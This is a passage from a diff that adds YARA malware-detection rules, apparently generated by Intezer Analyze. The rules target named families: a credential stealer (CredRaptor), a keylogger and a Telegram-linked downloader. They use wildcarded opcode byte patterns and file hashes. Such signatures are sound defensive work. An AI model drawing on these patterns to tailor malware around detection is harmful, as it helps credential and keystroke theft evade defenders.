?? ?? 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? 01 ?? 00 ?? ?? 00 ?? 9? 06 00 ?? 9? 06 00 ?? 9? 06 00 ?? 9? 06 00 ?? 9? 06 00 ?? 9? 06 00 ?? 9? 06 00 ?? 9? 06 00 ?? 9? 06 00 ?? 9? 06 00 ?? 7E }
+
+	condition:
+		hash.sha256(0, filesize) == "1672b944cf80cc2b3f837a78988a335072e197104acb5bb8148834c37ce72c85" or
+		10 of them
+}
+
+rule CredRaptor {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 99 03 ?? 89 ?? ?? ?? ?? ?? 13 ?? 85 ?? 74 }
+		$block_1 = { 33 ?? C6 ?? ?? ?? 66 ?? ?? ?? 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 83 ?? ?? 0F 82 }
+		$block_2 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 0F B7 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 89 ?? ?? 39 ?? ?? 7F }
+		$block_3 = { 8D ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? 5? 6A ?? 03 ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_4 = { 5? 8B ?? 5? 8B ?? ?? 0F B7 ?? ?? 8B ?? 83 ?? ?? 0F B6 ?? ?? ?? ?? ?? 5? 4? 5? 5? 83 ?? ?? 0F 87 }
+		$block_5 = { 5? 5? 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_6 = { 0F B7 ?? ?? 8B ?? ?? ?? ?? ?? 4? 5? 8B ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_7 = { 8B ?? ?? 8B ?? ?? 8B ?? 8B ?? ?? 5? 5? 5? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_8 = { 5? 8B ?? 83 ?? ?? 5? 5? 8B ?? ?? 89 ?? ?? 8B ?? ?? 33 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 39 ?? 0F 8E }
+		$block_9 = { 8B ?? C7 ?? ?? ?? ?? ?? ?? 99 0F 57 ?? 66 ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? 89 ?? ?? 8D ?? ?? 89 }
+		$block_10 = { 85 ?? 0F 95 ?? 8B ?? ?? 64 ?? ?? ?? ?? ?? ?? 5? 5? 8B ?? ?? 33 ?? E8 ?? ?? ?? ?? 8B ?? 5? C2 }
+		$block_11 = { 8B ?? 0F B7 ?? ?? C1 ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_12 = { 8B ?? ?? 5? 8B ?? E8 ?? ?? ?? ?? 0F BF ?? ?? 8B ?? ?? 8B ?? ?? 83 ?? ?? 83 ?? ?? 39 ?? ?? 7F }
+		$block_13 = { 5? 8B ?? 83 ?? ?? 0F B6 ?? ?? ?? ?? ?? 5? 8B ?? F7 ?? ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 0F 84 }
+		$block_14 = { 8B ?? ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 6A ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_15 = { 8D ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? DD ?? ?? ?? ?? ?? 8B ?? ?? DD ?? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_16 = { 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 3B ?? ?? 0F 84 }
+		$block_17 = { 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_18 = { 8B ?? ?? ?? ?? ?? C1 ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_19 = { 6A ?? FF B? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? BA ?? ?? ?? ?? 85 ?? 0F 45 ?? 80 3? ?? 75 }
+		$block_20 = { 85 ?? 0F B6 ?? 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 5? 0F 44 ?? FF 1? ?? ?? ?? ?? FF 7? ?? FF 1? }
+		$block_21 = { 8D ?? ?? BA ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? 5? 8B ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_22 = { 8B ?? ?? 8D ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_23 = { 8B ?? ?? 8B ?? ?? 0F B6 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? F6 ?? ?? ?? 89 ?? ?? 89 ?? ?? 74 }
+		$block_24 = { 5? 8B ?? 8B ?? ?? 5? 5? 8B ?? 0F B7 ?? ?? 83 ?? ?? 0F B6 ?? ?? ?? ?? ?? 4? 83 ?? ?? 0F 87 }
+		$block_25 = { 5? 8B ?? 83 ?? ?? 8B ?? ?? 8B ?? 33 ?? 5? 33 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 38 ?? ?? 0F 85 }
+		$block_26 = { 8B ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_27 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 4? 83 ?? ?? 89 ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? ?? ?? ?? ?? 0F 8C }
+		$block_28 = { 8B ?? ?? 8B ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? ?? 8D ?? ?? 66 ?? ?? ?? 0F B7 ?? ?? 84 ?? 79 }
+		$block_29 = { 5? 8B ?? 8B ?? ?? 5? 5? 0F B7 ?? ?? 03 ?? ?? 8B ?? 0F B7 ?? ?? 8B ?? ?? 03 ?? 3B ?? 77 }
+		$block_30 = { 8D ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_31 = { 8B ?? 5? 0F BF ?? ?? 89 ?? ?? 5? 8B ?? ?? 4? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 74 }
+		$block_32 = { 8B ?? ?? ?? ?? ?? 33 ?? 3B ?? 0F 94 ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_33 = { 8B ?? ?? 8D ?? ?? 0F B6 ?? ?? 5? 8B ?? 83 ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? E9 }
+		$block_34 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? ?? 5? 8B ?? 0F B7 ?? ?? 83 ?? ?? 80 B? ?? ?? ?? ?? ?? 0F 84 }
+		$block_35 = { 33 ?? 8B ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_36 = { 8D ?? ?? ?? ?? ?? 5? FF B? ?? ?? ?? ?? 5? 6A ?? FF B? ?? ?? ?? ?? FF D? 85 ?? 0F 84 }
+		$block_37 = { 03 ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? 85 ?? 0F 84 }
+		$block_38 = { 8B ?? ?? 0F BF ?? ?? 8B ?? ?? 03 ?? 8D ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_39 = { 5? 8B ?? 83 ?? ?? 8B ?? ?? 5? 8B ?? ?? 8B ?? ?? 03 ?? ?? 5? 8B ?? ?? 89 ?? ?? 0F 84 }
+		$block_40 = { 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_41 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? 0F BF ?? ?? 33 ?? 89 ?? ?? 85 ?? 7E }
+		$block_42 = { 8B ?? ?? 8B ?? ?? 8B ?? 8B ?? ?? 4? 5? 8B ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_43 = { 0F B6 ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 33 ?? 66 ?? ?? ?? 89 ?? 39 ?? ?? ?? ?? ?? 73 }
+		$block_44 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_45 = { 8B ?? ?? 33 ?? B9 ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 3B ?? 0F 84 }
+		$block_46 = { 68 ?? ?? ?? ?? 6A ?? 5? 8B ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_47 = { 0F B6 ?? ?? ?? ?? ?? 84 ?? B9 ?? ?? ?? ?? 0F 45 ?? A2 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_48 = { 8D ?? ?? C7 ?? ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 95 ?? 84 ?? 74 }
+		$block_49 = { 6A ?? 83 ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 8B ?? 89 ?? ?? 0B ?? 0F 84 }
+		$block_50 = { 8B ?? ?? 5? 5? 83 ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_51 = { 6A ?? 6A ?? 8B ?? E8 ?? ?? ?? ?? 33 ?? 83 ?? ?? 84 ?? 0F 95 ?? 8B ?? 85 ?? 74 }
+		$block_52 = { C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_53 = { 8B ?? ?? 8B ?? 0F B7 ?? ?? 8B ?? ?? 83 ?? ?? 0F B6 ?? ?? ?? ?? ?? 83 ?? ?? 75 }
+		$block_54 = { 33 ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 33 ?? C7 ?? ?? ?? ?? ?? ?? 39 ?? ?? 0F 8E }
+		$block_55 = { 5? 8B ?? 0F BE ?? ?? 83 ?? ?? 83 ?? ?? 5? 5? 5? 8B ?? 8B ?? 83 ?? ?? 0F 87 }
+		$block_56 = { 8D ?? ?? 89 ?? ?? 0F AF ?? C1 ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 75 }
+		$block_57 = { 0F B7 ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_58 = { 0F B7 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 85 ?? 75 }
+		$block_59 = { 8A ?? ?? 2C ?? 4? 0F B6 ?? 8B ?? 8D ?? ?? 8D ?? ?? 89 ?? 8B ?? 8D ?? ?? 66 }
+		$block_60 = { 5? 5? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 8D ?? ?? 0F 43 ?? ?? 8D }
+		$block_61 = { 8B ?? ?? 8B ?? 8B ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? FF D? 85 ?? 0F 85 }
+		$block_62 = { 8B ?? ?? 8B ?? ?? 33 ?? 85 ?? 0F 95 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 75 }
+		$block_63 = { 8B ?? ?? 0F B7 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? E8 ?? ?? ?? ?? 80 7? ?? ?? 74 }
+		$block_64 = { 8B ?? ?? 0F BF ?? ?? 8D ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? 85 ?? 74 }
+		$block_65 = { 6A ?? B8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_66 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 4? 89 ?? ?? 3B ?? ?? 0F 8C }
+		$block_67 = { 8B ?? ?? 8D ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 3B ?? 0F 84 }
+		$block_68 = { 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 85 ?? 0F 8E }
+		$block_69 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 03 ?? 8B ?? ?? 89 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_70 = { 8B ?? ?? 8B ?? ?? B9 ?? ?? ?? ?? 01 ?? ?? 01 ?? ?? 89 ?? ?? 3B ?? 0F 85 }
+		$block_71 = { 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_72 = { 83 ?? ?? ?? 8D ?? ?? 0F 43 ?? ?? 89 ?? ?? ?? ?? ?? 8A ?? 3C ?? 0F 84 }
+		$block_73 = { 6A ?? 83 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 0B ?? 89 ?? ?? 0F 84 }
+		$block_74 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? ?? ?? ?? ?? 0F 83 }
+		$block_75 = { 0F B7 ?? ?? 33 ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 0F 1F }
+		$block_76 = { 8D ?? ?? ?? ?? ?? 5? FF B? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_77 = { 8D ?? ?? C7 ?? ?? ?? ?? ?? 3B ?? C7 ?? ?? ?? ?? ?? 0F 94 ?? 84 ?? 75 }
+		$block_78 = { 8D ?? ?? ?? ?? ?? 5? FF B? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_79 = { 5? 8B ?? ?? 5? 0F B6 ?? ?? 33 ?? 89 ?? ?? 89 ?? ?? 66 ?? ?? ?? 0F 83 }
+		$block_80 = { 8B ?? ?? 6A ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_81 = { E8 ?? ?? ?? ?? 0F B7 ?? B9 ?? ?? ?? ?? 66 ?? ?? 0F 94 ?? 84 ?? 75 }
+		$block_82 = { B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3B ?? 0F 44 ?? 89 ?? ?? ?? ?? ?? EB }
+		$block_83 = { 8B ?? 0F BF ?? ?? 8B ?? ?? ?? 01 ?? ?? ?? ?? ?? F6 ?? ?? ?? ?? 74 }
+		$block_84 = { 5? 5? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 8D ?? ?? 0F 43 ?? ?? 8D }
+		$block_85 = { 6A ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_86 = { 8B ?? ?? 8D ?? ?? 8B ?? ?? 83 ?? ?? 0F 43 ?? 80 7? ?? ?? 74 }
+		$block_87 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC 8B ?? 83 ?? ?? 3B ?? ?? 74 }
+		$block_88 = { 66 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 0F 95 ?? 83 ?? ?? 72 }
+		$block_89 = { 8B ?? ?? 33 ?? 38 ?? ?? 8B ?? ?? ?? 0F 94 ?? 3B ?? 0F 84 }
+		$block_90 = { FF B? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 0F 85 }
+		$block_91 = { 4? 89 ?? 8B ?? ?? 8B ?? 8D ?? ?? 89 ?? 88 ?? 0F B6 ?? EB }
+		$block_92 = { 6A ?? 6A ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_93 = { 5? 8B ?? 83 ?? ?? 80 B? ?? ?? ?? ?? ?? 5? 5? 5? 0F 85 }
+		$block_94 = { 8B ?? ?? ?? 8A ?? ?? 8B ?? 89 ?? ?? ?? F6 ?? ?? 0F 85 }
+		$block_95 = { E8 ?? ?? ?? ?? 0F B7 ?? 66 ?? ?? 0F 94 ?? 84 ?? 75 }
+		$block_96 = { 8B ?? ?? 8B ?? 2B ?? ?? F6 ?? ?? ?? 89 ?? ?? 0F 84 }
+		$block_97 = { 8B ?? C7 ?? ?? ?? ?? ?? ?? 8D ?? ?? 89 ?? ?? 0F 1F }
+		$block_98 = { FE ?? 88 ?? ?? 0F B6 ?? 8B ?? ?? ?? 89 ?? ?? EB }
+		$block_99 = { 4? 83 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 85 ?? 0F 8F }
+
+	condition:
+		hash.sha256(0, filesize) == "50b990f6555055a265fde98324759dbc74619d6a7c49b9fd786775299bf77d26" or
+		hash.sha256(0, filesize) == "b0df1c855db31dd29a1e9b40f8360e5036e848e023741e05114d46b7359ff6f6" or
+		12 of them
+}
+
+rule Keylogger {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 40 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? F3 ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_1 = { E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? B9 ?? ?? ?? ?? F3 ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 0F B7 ?? 85 ?? 75 }
+		$block_2 = { 88 ?? ?? ?? 5? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? F3 ?? 0F B6 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 83 ?? ?? 75 }
+		$block_3 = { 44 ?? ?? ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 5? 5? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? F3 ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_4 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 2D ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 0F 87 }
+		$block_5 = { 0F B6 ?? ?? ?? ?? ?? ?? 83 ?? ?? 48 ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 }
+		$block_6 = { 0F B6 ?? ?? ?? ?? ?? ?? 83 ?? ?? 48 ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB }
+		$block_7 = { 88 ?? ?? ?? 5? 48 ?? ?? ?? 48 ?? ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? F3 ?? 0F B6 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_8 = { 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? 83 ?? ?? 74 }
+		$block_9 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "e3f134ae88f05463c4707a80f956a689fba7066bb5357f6d45cba312ad0db68e" or
+		10 of them
+}
+
+rule Telebot_Downloader {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? ?? 8A ?? ?? ?? 0F B7 ?? ?? ?? C1 ?? ?? 83 ?? ?? ?? ?? 88 ?? ?? ?? 66 ?? ?? ?? ?? 0F 85 }
+		$block_1 = { BB ?? ?? ?? ?? 89 ?? 29 ?? 89 ?? ?? ?? 89 ?? 83 ?? ?? 29 ?? 89 ?? ?? ?? 89 ?? ?? ?? 39 ?? 0F 83 }
+		$block_2 = { 0F B6 ?? 8B ?? ?? ?? 4? 89 ?? ?? ?? 8A ?? ?? ?? ?? ?? 85 ?? 88 ?? ?? ?? ?? ?? ?? 88 ?? ?? ?? 74 }
+		$block_3 = { 66 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 85 ?? 0F 94 ?? 39 ?? 0F 94 ?? 08 ?? 80 F? ?? 88 ?? ?? ?? 74 }
+		$block_4 = { 0F 1F ?? ?? ?? 5? 5? 5? 5? 83 ?? ?? 8B ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? 89 ?? F7 ?? 89 ?? 0F 80 }
+		$block_5 = { 8B ?? ?? ?? 8D ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 8D ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 39 ?? 0F 85 }
+		$block_6 = { 8D ?? ?? ?? 89 ?? 6A ?? 8D ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_7 = { 8B ?? ?? 0F AF ?? ?? 89 ?? 8B ?? ?? 01 ?? 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? E8 }
+		$block_8 = { 8B ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 80 F? ?? 75 }
+		$block_9 = { 8B ?? ?? 0F AF ?? ?? 89 ?? 8B ?? ?? 01 ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? FF D? 85 ?? 7E }
+		$block_10 = { 8B ?? ?? ?? 89 ?? 8D ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_11 = { 8B ?? ?? 89 ?? C1 ?? ?? 01 ?? C1 ?? ?? 89 ?? 8B ?? ?? 01 ?? 89 ?? ?? 8B ?? ?? 0F B6 ?? 3C ?? 75 }
+		$block_12 = { 8D ?? ?? 8D ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? 89 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_13 = { 87 ?? 8D ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? 83 ?? ?? 89 ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_14 = { 8B ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_15 = { 89 ?? ?? 89 ?? E8 ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? 5? 5? 5? 5? 83 ?? ?? 8B ?? ?? ?? 85 ?? 0F 84 }
+		$block_16 = { 8B ?? ?? ?? F2 ?? ?? ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? F2 ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_17 = { 0F B6 ?? ?? ?? ?? ?? ?? 89 ?? 8B ?? ?? ?? ?? ?? C1 ?? ?? 83 ?? ?? C1 ?? ?? 09 ?? 39 ?? 0F 83 }
+		$block_18 = { 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_19 = { 89 ?? E8 ?? ?? ?? ?? 0F 1F ?? ?? ?? ?? ?? 5? 5? 5? 5? 83 ?? ?? 8B ?? ?? ?? 89 ?? 85 ?? 0F 88 }
+		$block_20 = { C7 ?? ?? ?? ?? ?? C6 ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 5? E8 ?? ?? ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_21 = { 8B ?? ?? 8B ?? ?? ?? 8D ?? ?? 8B ?? ?? ?? 89 ?? 8D ?? ?? 83 ?? ?? 89 ?? ?? ?? 8D ?? ?? 0F 82 }
+		$block_22 = { 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_23 = { 83 ?? ?? 31 ?? 0F 57 ?? 89 ?? 0F 29 ?? ?? ?? 0F 29 ?? ?? ?? 0F 29 ?? ?? ?? 0F 29 ?? ?? ?? 9? }
